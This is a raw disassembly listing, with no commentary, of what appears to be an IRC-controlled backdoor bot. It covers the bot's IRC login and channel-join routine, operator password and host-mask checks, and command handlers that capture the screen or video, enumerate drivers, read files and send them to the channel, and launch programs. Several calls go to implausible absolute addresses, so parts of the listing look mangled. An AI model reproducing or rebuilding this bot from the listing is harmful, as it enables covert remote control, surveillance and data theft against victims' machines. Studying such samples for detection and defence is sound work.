push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409A2C
push offset dword_429D00
call sub_4151AC
jmp loc_40351F
; ---------------------------------------------------------------------------
loc_408BEA: ; CODE XREF: sub_401ACD+48A3j
; sub_401ACD+48BAj
cmp [ebp+var_C], ebx
jz loc_409854
push [ebp+arg_10]
call sub_41AFE0
push [ebp+arg_8]
mov esi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push edi
lea eax, [eax+esi+2]
push eax
call sub_41B900
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409854
push esi
lea eax, [ebp+var_2C4]
push offset dword_42A434
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push ebx
push eax
push [ebp+arg_10]
push [ebp+arg_4]
call sub_409A72
add esp, 20h
push esi
push [ebp+arg_10]
push offset unk_429CE4
jmp loc_408A4B
; ---------------------------------------------------------------------------
loc_408C57: ; CODE XREF: sub_401ACD+4875j
; sub_401ACD+488Cj
cmp [ebp+var_C], ebx
jz loc_409854
push [ebp+arg_10]
call sub_41AFE0
push [ebp+arg_8]
mov esi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push edi
lea eax, [eax+esi+2]
push eax
call sub_41B900
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409854
push ebx
push ebx
push esi
push [ebp+arg_10]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
push esi
push [ebp+arg_10]
push offset unk_429CC4
jmp loc_408A4B
; ---------------------------------------------------------------------------
loc_408CAC: ; CODE XREF: sub_401ACD+4847j
; sub_401ACD+485Ej
cmp [ebp+var_C], ebx
jz loc_401E94
push edi
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz loc_401E94
push eax
push [ebp+arg_10]
call sub_4150B4
pop ecx
pop ecx
push [ebp+arg_10]
push offset unk_429CA4
loc_408CDB: ; CODE XREF: sub_401ACD+5852j
; sub_401ACD+7B2Aj
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
jmp loc_40960F
; ---------------------------------------------------------------------------
loc_408CEF: ; CODE XREF: sub_401ACD+4819j
; sub_401ACD+4830j
push edi
push [ebp+arg_10]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4184E1
jmp loc_4040FC
; ---------------------------------------------------------------------------
loc_408D09: ; CODE XREF: sub_401ACD+47DBj
; sub_401ACD+47F0j
push [ebp+arg_10]
push [ebp+arg_1C]
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz loc_409854
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jz loc_408DB1
push esi
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408D99
push esi
lea eax, [ebp+var_2C4]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_429EF8
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41B5F0
add esp, 24h
lea eax, [ebp+var_2C4]
push esi
push [ebp+arg_10]
push offset unk_429C7C
push eax
call sub_41B886
add esp, 10h
inc [ebp+arg_24]
jmp loc_40877A
; ---------------------------------------------------------------------------
loc_408D99: ; CODE XREF: sub_401ACD+726Fj
lea eax, [ebp+var_2C4]
push offset unk_429C4C
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_40877A
; ---------------------------------------------------------------------------
loc_408DB1: ; CODE XREF: sub_401ACD+725Aj
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41ACF6
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
lea eax, [ebp+var_2C4]
push [ebp+arg_10]
push offset dword_429C30
push 200h
push eax
call sub_41B980
add esp, 10h
jmp loc_40877A
; ---------------------------------------------------------------------------
loc_408DFD: ; CODE XREF: sub_401ACD+47B1j
; sub_401ACD+47C6j
push offset aScreen ; "screen"
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_408E58
mov edi, [ebp+esi+var_88]
cmp edi, ebx
jz short loc_408E45
push edi
call sub_4153BC
cmp eax, 1
pop ecx
jnz short loc_408E3E
push edi
lea eax, [ebp+var_2C4]
push offset unk_429BFC
push eax
call sub_41B886
add esp, 0Ch
jmp short loc_408E58
; ---------------------------------------------------------------------------
loc_408E3E: ; CODE XREF: sub_401ACD+7358j
push offset unk_429BCC
jmp short loc_408E4A
; ---------------------------------------------------------------------------
loc_408E45: ; CODE XREF: sub_401ACD+734Cj
push offset unk_429B90
loc_408E4A: ; CODE XREF: sub_401ACD+7376j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
loc_408E58: ; CODE XREF: sub_401ACD+7341j
; sub_401ACD+736Fj
push offset aDrivers ; "drivers"
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_408EE5
xor edi, edi
loc_408E6D: ; CODE XREF: sub_401ACD+7403j
lea eax, [ebp+var_53F8]
push 1FFh
push eax
lea eax, [ebp+var_4EF0]
push 0FFh
push eax
push edi
call dword_4CAFA4
test eax, eax
jz short loc_408ECC
lea eax, [ebp+var_53F8]
push eax
lea eax, [ebp+var_4EF0]
push eax
push edi
lea eax, [ebp+var_5D88]
push offset unk_429B60
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_5D88]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 28h
loc_408ECC: ; CODE XREF: sub_401ACD+73C1j
inc edi
cmp edi, 0Ah
jl short loc_408E6D
lea eax, [ebp+var_2C4]
push offset unk_429B38
push eax
call sub_41B886
pop ecx
pop ecx
loc_408EE5: ; CODE XREF: sub_401ACD+739Cj
push offset aFrame ; "frame"
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_408F86
cmp [ebp+esi+var_88], ebx
jz short loc_408F73
cmp [ebp+esi+var_84], ebx
jz short loc_408F73
mov edi, [ebp+esi+var_80]
cmp edi, ebx
jz short loc_408F73
mov eax, [ebp+esi+var_7C]
cmp eax, ebx
jz short loc_408F73
push eax
call sub_41B779
pop ecx
push eax
push edi
call sub_41B779
pop ecx
push eax
push [ebp+esi+var_84]
call sub_41B779
pop ecx
push eax
push [ebp+esi+var_88]
call sub_4155F7
add esp, 10h
test eax, eax
jnz short loc_408F6C
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset unk_429B04
push eax
call sub_41B886
add esp, 0Ch
jmp short loc_408F86
; ---------------------------------------------------------------------------
loc_408F6C: ; CODE XREF: sub_401ACD+7480j
push offset unk_429AD0
jmp short loc_408F78
; ---------------------------------------------------------------------------
loc_408F73: ; CODE XREF: sub_401ACD+7436j
; sub_401ACD+743Fj ...
push offset unk_429A98
loc_408F78: ; CODE XREF: sub_401ACD+74A4j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
loc_408F86: ; CODE XREF: sub_401ACD+7429j
; sub_401ACD+749Dj
push offset aVideo ; "video"
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_408759
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_1C], eax
jz short loc_40901E
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_0], eax
jz short loc_40901E
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_40901E
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
jz short loc_40901E
mov esi, [ebp+esi+var_78]
cmp esi, ebx
jz short loc_40901E
push esi
call sub_41B779
pop ecx
push eax
push edi
call sub_41B779
pop ecx
push eax
push [ebp+arg_18]
call sub_41B779
pop ecx
push eax
push [ebp+arg_0]
call sub_41B779
pop ecx
push eax
push [ebp+arg_1C]
call sub_4157F0
add esp, 14h
test eax, eax
jnz short loc_409014
push [ebp+arg_1C]
push offset unk_429A64
jmp loc_40874A
; ---------------------------------------------------------------------------
loc_409014: ; CODE XREF: sub_401ACD+7538j
push offset unk_429A24
jmp loc_4090E2
; ---------------------------------------------------------------------------
loc_40901E: ; CODE XREF: sub_401ACD+74DCj
; sub_401ACD+74EAj ...
push offset unk_4299E4
jmp loc_4090E2
; ---------------------------------------------------------------------------
loc_409028: ; CODE XREF: sub_401ACD+4041j
; sub_401ACD+4056j
push offset aR ; "r"
push [ebp+arg_10]
call sub_41B4C2
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz short loc_409098
mov esi, 200h
push edi
lea eax, [ebp+var_2C4]
push esi
push eax
call sub_41BB4F
add esp, 0Ch
loc_409053: ; CODE XREF: sub_401ACD+75B5j
test eax, eax
jz short loc_409084
push 1
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
push edi
lea eax, [ebp+var_2C4]
push esi
push eax
call sub_41BB4F
add esp, 20h
jmp short loc_409053
; ---------------------------------------------------------------------------
loc_409084: ; CODE XREF: sub_401ACD+7588j
push edi
call sub_41B05B
pop ecx
push [ebp+arg_10]
push offset unk_4299C0
jmp loc_409226
; ---------------------------------------------------------------------------
loc_409098: ; CODE XREF: sub_401ACD+756Ej
push [ebp+arg_10]
push offset unk_42999C
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_4090A5: ; CODE XREF: sub_401ACD+4017j
; sub_401ACD+402Cj
cmp [ebp+var_C], ebx
jz loc_409854
push [ebp+arg_10]
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409854
push offset asc_429998 ; "\n"
push esi
call sub_41BEC0
push esi
call sub_419A50
add esp, 0Ch
test eax, eax
jnz short loc_4090F5
push offset unk_42996C
loc_4090E2: ; CODE XREF: sub_401ACD+754Cj
; sub_401ACD+7556j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_408759
; ---------------------------------------------------------------------------
loc_4090F5: ; CODE XREF: sub_401ACD+760Ej
push esi
lea eax, [ebp+var_2C4]
push offset dword_429954
push eax
call sub_41B886
add esp, 0Ch
jmp loc_40877A
; ---------------------------------------------------------------------------
loc_40910F: ; CODE XREF: sub_401ACD+3FEDj
; sub_401ACD+4002j
cmp [ebp+var_C], ebx
jz loc_409854
push [ebp+arg_10]
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz loc_409854
push eax
call sub_418211
test eax, eax
pop ecx
jnz short loc_40913F
push offset unk_429934
jmp short loc_4090E2
; ---------------------------------------------------------------------------
loc_40913F: ; CODE XREF: sub_401ACD+7669j
push offset dword_429918
jmp short loc_4090E2
; ---------------------------------------------------------------------------
loc_409146: ; CODE XREF: sub_401ACD+3FC3j
; sub_401ACD+3FD8j
push 7Fh
lea eax, [ebp+var_2080]
push [ebp+arg_10]
push eax
call sub_41B5F0
mov esi, [ebp+esi+var_88]
add esp, 0Ch
cmp esi, ebx
jz short loc_409177
push 7Fh
lea eax, [ebp+var_2000]
push esi
push eax
call sub_41B5F0
add esp, 0Ch
loc_409177: ; CODE XREF: sub_401ACD+7696j
push 7Fh
lea eax, [ebp+var_1F80]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_2084], eax
mov eax, [ebp+var_8]
push [ebp+arg_10]
mov [ebp+var_1EFC], eax
mov eax, [ebp+var_4]
mov [ebp+var_1EF8], eax
lea eax, [ebp+var_2C4]
push offset dword_429900
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Ch
push eax
call sub_40B0F6
add esp, 18h
mov [ebp+var_1F00], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2084]
push ebx
push eax
push offset sub_41ADB5
push ebx
push ebx
nop
call near ptr 267042Eh
mov ecx, [ebp+var_1F00]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40921A
loc_409204: ; CODE XREF: sub_401ACD+774Bj
cmp [ebp+var_1EF4], ebx
jnz loc_406CFF
push 32h
nop
call near ptr 26703BBh
jmp short loc_409204
; ---------------------------------------------------------------------------
loc_40921A: ; CODE XREF: sub_401ACD+7735j
nop
call near ptr 2670D70h
push eax
push offset unk_4298C0
loc_409226: ; CODE XREF: sub_401ACD+29CEj
; sub_401ACD+75C6j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
jmp loc_406CFF
; ---------------------------------------------------------------------------
loc_40923A: ; CODE XREF: sub_401ACD+3F99j
; sub_401ACD+3FAEj
push ebx
push [ebp+var_88]
push [ebp+arg_4]
push [ebp+arg_10]
call sub_40F96A
add esp, 10h
push [ebp+arg_10]
push offset dword_4298A8
jmp loc_40984D
; ---------------------------------------------------------------------------
loc_40925C: ; CODE XREF: sub_401ACD+3F6Fj
; sub_401ACD+3F84j
push 14h
lea eax, [ebp+var_1D48]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_1D34]
push [ebp+arg_10]
push offset aS_1 ; "%s"
push eax
call sub_41B886
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_1D50], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_1C30]
push 80h
push eax
call sub_41B980
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1BA8], eax
mov eax, [ebp+var_8]
mov [ebp+var_1BA4], eax
lea eax, [ebp+var_1C30]
push eax
lea eax, [ebp+var_1D34]
push eax
lea eax, [ebp+var_2C4]
push offset unk_429884
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Ah
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_1BAC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1D50]
push ebx
push eax
push offset loc_415E1A
push ebx
push ebx
call near ptr 267042Eh
nop
mov ecx, [ebp+var_1BAC]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz loc_4023E6
loc_409325: ; CODE XREF: sub_401ACD+786Cj
cmp [ebp+var_1BA0], ebx
jnz loc_4083BC
push 32h
call near ptr 26703BBh
nop
jmp short loc_409325
; ---------------------------------------------------------------------------
loc_40933B: ; CODE XREF: sub_401ACD+3F45j
; sub_401ACD+3F5Aj
push [ebp+arg_10]
nop
call near ptr 2670603h
test eax, eax
jz short loc_409366
push [ebp+arg_10]
lea eax, [ebp+var_2C4]
push offset dword_429868
push 200h
push eax
call sub_41B980
jmp loc_409444
; ---------------------------------------------------------------------------
loc_409366: ; CODE XREF: sub_401ACD+7879j
push offset dword_42A070
call sub_41814C
pop ecx
push eax
jmp loc_403F47
; ---------------------------------------------------------------------------
loc_409377: ; CODE XREF: sub_401ACD+3F1Bj
; sub_401ACD+3F30j
push [ebp+arg_10]
call sub_41B779
push eax
call sub_4199C9
pop ecx
pop ecx
push 1
pop esi
push [ebp+arg_10]
cmp eax, esi
jnz short loc_409398
push offset unk_429844
jmp short loc_40939D
; ---------------------------------------------------------------------------
loc_409398: ; CODE XREF: sub_401ACD+78C2j
push offset unk_429814
loc_40939D: ; CODE XREF: sub_401ACD+78C9j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_406D02
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
jmp loc_406D02
; ---------------------------------------------------------------------------
loc_4093D6: ; CODE XREF: sub_401ACD+3EF1j
; sub_401ACD+3F06j
push ebx
push ebx
push [ebp+arg_10]
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_4196BC
add esp, 18h
cmp eax, 1
push [ebp+arg_10]
jnz short loc_4093FC
push offset unk_4297F4
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_4093FC: ; CODE XREF: sub_401ACD+7923j
push offset unk_4297C4
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_409406: ; CODE XREF: sub_401ACD+3EC7j
; sub_401ACD+3EDCj
mov esi, [ebp+arg_10]
push esi
call dword_4CAFB4
cmp eax, 0FFFFFFFFh
mov [ebp+var_2D8], eax
jz short loc_40944C
push 2
lea eax, [ebp+var_2D8]
push 4
push eax
call dword_4CAF2C
cmp eax, ebx
jz short loc_409467
push dword ptr [eax]
loc_409432: ; CODE XREF: sub_401ACD+7998j
push esi
lea eax, [ebp+var_2C4]
push offset unk_4297A4
push eax
call sub_41B886
loc_409444: ; CODE XREF: sub_401ACD+7894j
add esp, 10h
jmp loc_406CDE
; ---------------------------------------------------------------------------
loc_40944C: ; CODE XREF: sub_401ACD+794Cj
push esi
call dword_4CAFF8
cmp eax, ebx
jz short loc_409467
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_4CB000
push eax
jmp short loc_409432
; ---------------------------------------------------------------------------
loc_409467: ; CODE XREF: sub_401ACD+7961j
; sub_401ACD+7988j
push offset unk_42977C
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_409471: ; CODE XREF: sub_401ACD+3E9Dj
; sub_401ACD+3EB2j
push 7Fh
push [ebp+arg_10]
push [ebp+arg_14]
call sub_41B5F0
add esp, 0Ch
push [ebp+arg_10]
push offset unk_429754
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_40948E: ; CODE XREF: sub_401ACD+3E73j
; sub_401ACD+3E88j
push 5
push ebx
push ebx
push [ebp+arg_10]
push offset aOpen ; "open"
push ebx
call dword_4CAEE0
push [ebp+arg_10]
test eax, eax
jz short loc_4094B2
push offset unk_429734
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_4094B2: ; CODE XREF: sub_401ACD+79D9j
push offset unk_429710
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_4094BC: ; CODE XREF: sub_401ACD+3E49j
; sub_401ACD+3E5Ej
mov eax, [ebp+arg_10]
mov cl, [eax]
mov byte_429094, cl
movsx eax, byte ptr [eax]
push eax
push offset unk_4296E8
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_4094D5: ; CODE XREF: sub_401ACD+3E1Fj
; sub_401ACD+3E34j
push [ebp+arg_10]
call sub_41B779
test eax, eax
pop ecx
jle loc_409854
push [ebp+arg_10]
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409854
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40B08D
add esp, 10h
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B45C
push eax
call sub_41B886
add esp, 0Ch
jmp loc_408994
; ---------------------------------------------------------------------------
loc_409527: ; CODE XREF: sub_401ACD+3DF5j
; sub_401ACD+3E0Aj
mov esi, [ebp+arg_10]
push esi
call sub_41B779
test eax, eax
pop ecx
jle loc_401E94
push esi
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_401E94
push offset aQuitLater ; "QUIT :later\r\n"
push esi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43DEBC[eax]
call sub_409A2C
pop ecx
pop ecx
push 1F4h
call near ptr 26703BBh
nop
push esi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43DEBC[eax]
call dword_4CB00C
push [ebp+var_10]
push esi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43DEC4[eax]
call near ptr 2680D6Bh
nop
push esi
call sub_41B779
imul eax, 234h
push esi
mov dword_43DEC4[eax], ebx
call sub_41B779
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_43DCB0[eax], bl
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_4095D5: ; CODE XREF: sub_401ACD+3DCBj
; sub_401ACD+3DE0j
push [ebp+arg_10]
push offset aAll ; "all"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_409641
call sub_40B2BF
cmp eax, ebx
jle short loc_4095FC
push eax
push offset unk_4296BC
jmp loc_408CDB
; ---------------------------------------------------------------------------
loc_4095FC: ; CODE XREF: sub_401ACD+7B22j
push offset unk_429694
loc_409601: ; CODE XREF: sub_401ACD+24F9j
; sub_401ACD+2518j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
loc_40960F: ; CODE XREF: sub_401ACD+721Dj
cmp [ebp+var_8], ebx
jnz short loc_409630
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_409628: ; CODE XREF: sub_401ACD+6DB4j
call sub_409A72
add esp, 14h
loc_409630: ; CODE XREF: sub_401ACD+26F6j
; sub_401ACD+2721j ...
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
jmp loc_40207D
; ---------------------------------------------------------------------------
loc_409641: ; CODE XREF: sub_401ACD+7B19j
mov eax, [ebp+var_AC]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_401E94
lea eax, [ebp+edi*4+var_90]
mov [ebp+arg_24], eax
loc_40965D: ; CODE XREF: sub_401ACD+7C01j
mov eax, [ebp+arg_24]
mov esi, [eax]
cmp esi, ebx
jz loc_401E94
push esi
call sub_41B779
push eax
call sub_40B231
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_409684
push offset unk_429670
jmp short loc_409689
; ---------------------------------------------------------------------------
loc_409684: ; CODE XREF: sub_401ACD+7BAEj
push offset unk_429644
loc_409689: ; CODE XREF: sub_401ACD+7BB5j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4096B9
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_4096B9: ; CODE XREF: sub_401ACD+7BCEj
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
add [ebp+arg_24], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_40965D
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_4096D5: ; CODE XREF: sub_401ACD+3DA1j
; sub_401ACD+3DB6j
cmp [ebp+var_C], ebx
jz loc_409854
push [ebp+arg_10]
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409854
push esi
push offset dword_429DB0
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
push esi
push offset dword_429628
jmp loc_40984D
; ---------------------------------------------------------------------------
loc_409711: ; CODE XREF: sub_401ACD+3D77j
; sub_401ACD+3D8Cj
push [ebp+arg_10]
push offset dword_429D14
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
push [ebp+arg_10]
push offset unk_429604
jmp loc_40984D
; ---------------------------------------------------------------------------
loc_409731: ; CODE XREF: sub_401ACD+3D4Dj
; sub_401ACD+3D62j
push [ebp+esi+var_88]
push [ebp+arg_10]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 10h
push [ebp+arg_10]
push offset unk_4295E0
jmp loc_40984D
; ---------------------------------------------------------------------------
loc_409758: ; CODE XREF: sub_401ACD+3D23j
; sub_401ACD+3D38j
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
push [ebp+arg_10]
push offset unk_4295BC
jmp loc_40984D
; ---------------------------------------------------------------------------
loc_409778: ; CODE XREF: sub_401ACD+3163j
; sub_401ACD+3178j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409A2C
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push [ebp+arg_10]
push offset unk_429598
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
push [ebp+arg_10]
call sub_41B779
add esp, 14h
loc_4097B2: ; CODE XREF: sub_401ACD+7D33j
push eax
call near ptr 26703BBh
nop
loc_4097B9: ; CODE XREF: sub_401ACD+2AA2j
xor eax, eax
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_4097C0: ; CODE XREF: sub_401ACD+3139j
; sub_401ACD+314Ej
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409A2C
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push [ebp+arg_10]
push offset unk_429570
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
push [ebp+arg_10]
call sub_41B779
add esp, 14h
imul eax, 3E8h
jmp short loc_4097B2
; ---------------------------------------------------------------------------
loc_409802: ; CODE XREF: sub_401ACD+EC8j
; sub_401ACD+EDDj
push [ebp+esi+var_8C]
xor eax, eax
cmp [ebp+var_8F0], bl
setnz al
push eax
lea eax, [ebp+var_338]
push dword_42909C
push eax
call sub_40B08D
add esp, 10h
lea eax, [ebp+var_338]
push eax
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
lea eax, [ebp+var_338]
push eax
push offset unk_42954C
loc_40984D: ; CODE XREF: sub_401ACD+70B4j
; sub_401ACD+778Aj ...
call sub_415220
pop ecx
loc_409853: ; CODE XREF: sub_401ACD+6CB9j
pop ecx
loc_409854: ; CODE XREF: sub_401ACD+659j
; sub_401ACD+665j ...
mov eax, [ebp+arg_24]
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_40985C: ; CODE XREF: sub_401ACD+AB5j
; sub_401ACD+AC8j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_10], esi
jz loc_401E94
cmp [ebp+var_A4], ebx
jnz loc_401E94
push offset asc_42CA28 ; "!"
push [ebp+var_90]
call sub_41C0F4
mov esi, eax
push offset dword_4CAE2C
push ebx
inc esi
call sub_41C0F4
push offset asc_429548 ; "~"
push eax
call sub_41C0F4
push [ebp+arg_10]
mov edi, eax
push offset aCool ; "cool"
call sub_41C070
add esp, 20h
test eax, eax
jz short loc_4098FB
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 14h
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
push edi
push esi
push offset unk_4294C8
jmp loc_40240A
; ---------------------------------------------------------------------------
loc_4098FB: ; CODE XREF: sub_401ACD+7DEAj
mov [ebp+arg_24], offset off_429160
loc_409902: ; CODE XREF: sub_401ACD+7E51j
mov eax, [ebp+arg_24]
push edi
push dword ptr [eax]
call sub_40B44F
pop ecx
test eax, eax
pop ecx
jnz short loc_409962
add [ebp+arg_24], 4
cmp [ebp+arg_24], offset off_429164
jb short loc_409902
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 14h
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
push edi
push esi
push offset unk_429474
jmp loc_40240A
; ---------------------------------------------------------------------------
loc_409962: ; CODE XREF: sub_401ACD+7E44j
mov edi, [ebp+arg_18]
xor esi, esi
loc_409967: ; CODE XREF: sub_401ACD+7EC4j
cmp [ebp+arg_10], ebx
jz loc_401E94
cmp [edi], bl
jnz short loc_409987
push [ebp+arg_10]
push offset aCool ; "cool"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_409998
loc_409987: ; CODE XREF: sub_401ACD+7EA5j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_409967
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_409998: ; CODE XREF: sub_401ACD+7EB8j
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_E00]
push 7Fh
push eax
push esi
call sub_41B5F0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4099CF
push ebx
push [ebp+var_4]
push offset unk_429454
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_4099CF: ; CODE XREF: sub_401ACD+7EE6j
lea eax, [ebp+var_C4]
push eax
push offset unk_429434
jmp loc_402077
; ---------------------------------------------------------------------------
loc_4099E0: ; CODE XREF: sub_401ACD+20Ej
; sub_401ACD+223j
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
push offset aXI ; "-x+i"
push [ebp+arg_10]
push offset aModeSS_0 ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 10h
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 10h
mov dword_4CAE24, edi
jmp loc_401D6A
sub_401ACD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409A2C proc near ; CODE XREF: sub_401955+3Dp
; sub_401ACD+1CBp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_41C190
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CAFC4
leave
retn
sub_409A2C endp
